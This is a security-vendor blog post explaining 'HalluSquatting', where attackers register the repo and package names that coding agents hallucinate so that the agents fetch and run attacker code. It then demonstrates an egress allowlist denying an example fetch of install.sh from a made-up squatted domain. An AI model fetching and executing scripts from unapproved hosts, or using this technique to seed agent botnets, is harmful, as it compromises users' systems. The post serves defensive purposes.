Ask a coding agent to clone a trending repo or install a popular skill, and sometimes it will confidently produce a URL that has never existed. That used to be a papercut — a 404, a retry. It stopped being a papercut the moment attackers started buying the URLs the models invent. The agent hallucinates a name, the name resolves, the agent fetches it and runs it. Nobody typo'd anything. The model dreamed up an address, and someone was already waiting there.
That's HalluSquatting, and it's a clean example of a problem you cannot patch inside the model.
The attack: the model invents the name, the attacker pre-registers it
HalluSquatting weaponizes a behavior every LLM has: when asked to fetch a resource it isn't sure about, it guesses a plausible repo or package name instead of admitting it doesn't know. Researchers from Tel Aviv University, the Technion, and Intuit showed that these guesses are predictable and repeat across models — so an attacker doesn't need to reach the victim at all. They register the fake names ahead of time and wait for agents to walk into them.
The numbers are the uncomfortable part. In the reported research, models hallucinated the location of recent (2025-era) repositories roughly 92% of the time, and every model tested was affected — including Claude Opus 4.5. This isn't a weak-model problem you can buy your way out of by upgrading. Because different foundation models tend to hallucinate the same names, one squatted registration catches agents across the ecosystem. Once the agent pulls the squatted repo or package, its built-in terminal executes whatever ships inside — which is how the researchers turned the technique into a way to seed agentic botnets.
Reframe it in your own threat model: this is an untargeted supply-chain attack where the delivery mechanism is your agent's own confidence. No phishing, no injected prompt required — just an agent that fetches what it invented.
Why you can't train this away
Hallucination is intrinsic to how these models work, so the fix has to sit outside the model. A language model that never guesses is a model that constantly refuses useful requests; the same machinery that makes it helpful is the machinery that fabricates a repo URL under uncertainty. You can lower the rate with better prompting and retrieval, but you cannot drive it to zero, and "lower" is not a security boundary. An attacker only needs the tail.
So the control can't live in the model's judgment. It has to live at the one moment that actually matters: when the agent tries to go somewhere. The model can invent any string it likes — the question is whether the system lets that string turn into an outbound fetch. That's a policy decision, and it belongs to your infrastructure, not to the model's next token.
This is squarely OWASP LLM08: excessive agency — an agent granted the ability to act (here, fetch and execute from arbitrary hosts) without an independent control checking whether this destination is allowed. The defense isn't a smarter model. It's a boundary the model doesn't get a vote on.
We ran it
We set this up as a straightforward test, enforcement on — not observe mode, so a denied call is actually blocked, not just flagged.
- Agent:
Ops-Assistant - Connector:
Ops Toolbelt (fetch), an MCP connector exposing afetchtool - Connector egress allowlist: exactly one approved host —
api.github.com
Then we had the agent attempt the kind of fetch a HalluSquatting attack produces: a plausible-looking install script on a domain nobody on the team had ever approved.
Attempt — squatted host:
fetch(url="https://windowstelemetryoff-cdn.xyz/agent/install.sh")
→ decision: deny
stage: egress_allowlist
reason_code: not_in_allowlist
The verdict also carries operator-facing remediation text: if this host is legitimate, add it to the connector's egress allowlist, or set allow_any_egress on the tool. The default is closed — an unknown destination doesn't get the benefit of the doubt.

The important thing is what happens next. This isn't a firewall that blocks everything and breaks the agent. The same gate lets the legitimate call through:
Control — approved host:
fetch(url="https://api.github.com/repos/OriginalOwner/telemetry-tool/readme")
→ decision: allow
stage: egress_allowlist

Same agent, same tool, same gate — one destination allowed, one denied, on a per-request basis. That's the point: selective enforcement, not a blunt off switch. The agent keeps doing its job against api.github.com and simply cannot reach a host you never sanctioned.
And these two events aren't a pair of cherry-picked screenshots. Both verdicts are written into one hash-chained audit trail: the allowed row's prev hash equals the blocked row's hash. It's a single continuous, tamper-evident sequence — you can prove the allow and the deny happened in that order, on the same trail, with nothing spliced out between them.
What this does and doesn't cover
Be precise about the boundary, because a vague claim here is worse than none. An egress allowlist blocks a squatted domain. When the hallucinated URL points at a host that isn't on your approved list — windowstelemetryoff-cdn.xyz, some freshly-registered -cdn.xyz throwaway — the fetch never happens. That covers the core HalluSquatting mechanism, which depends on the agent reaching an attacker-controlled domain.
It does not cover a lookalike hosted under a legitimate, allowlisted domain — a malicious pip package on the real PyPI, a booby-trapped repo under a GitHub org you already trust. If api.github.com is on your allowlist and the bad artifact lives behind api.github.com, the egress gate will (correctly) allow the connection. That's a different problem — package/artifact provenance and reputation — and it needs a different control. We're not going to pretend one allowlist solves both. The egress boundary shrinks the attack surface to "things hosted where you already decided to trust"; it doesn't vet what lives there.
The general principle
Every agent tool call has a destination. That destination should be an explicit, auditable policy decision — not whatever string the model happened to produce. The model's job is to propose; the boundary's job is to decide. HalluSquatting is just the sharpest current illustration of a rule that holds for any acting agent: you govern the action, at the moment of the action, in infrastructure the model doesn't control.
That's the shape of MCP governance we build TrustGate around — per-connector egress allowlists, per-request allow/deny verdicts, and a hash-chained trail of every one. If you're putting agents in front of real tools and want to see this run against your own connectors, get in touch.
Common questions
What is HalluSquatting? An attack where an attacker pre-registers the fake repository, package, or URL names that LLMs commonly hallucinate when asked to fetch a resource. Because models tend to invent the same plausible-but-nonexistent names, the attacker can register those names ahead of time; an AI agent then fetches the squatted resource and executes it — no direct contact with the victim required.
Can better prompting prevent it? Not reliably. Better prompts and retrieval can lower how often a model hallucinates a URL, but hallucination is intrinsic to how LLMs work — you can't drive the rate to zero, and an attacker only needs the occasional miss. A "lower rate" isn't a security boundary. The durable control sits outside the model, at the point where a proposed URL would become an outbound fetch.
Does upgrading to a stronger model fix it? No. In the reported research, every model tested was affected, including frontier models. HalluSquatting exploits a behavior common to the whole class, not a defect in one weak model, so a better model changes the odds, not the exposure.
Sources: "Beware of Agentic Botnets: Scalable Untargeted Promptware Attacks via Universal and Transferable Adversarial HalluSquatting," research by Tel Aviv University, the Technion, and Intuit; as reported by SecurityWeek, Tom's Hardware, and TechRadar. OWASP LLM08: Excessive Agency, from the OWASP Top 10 for LLM Applications.
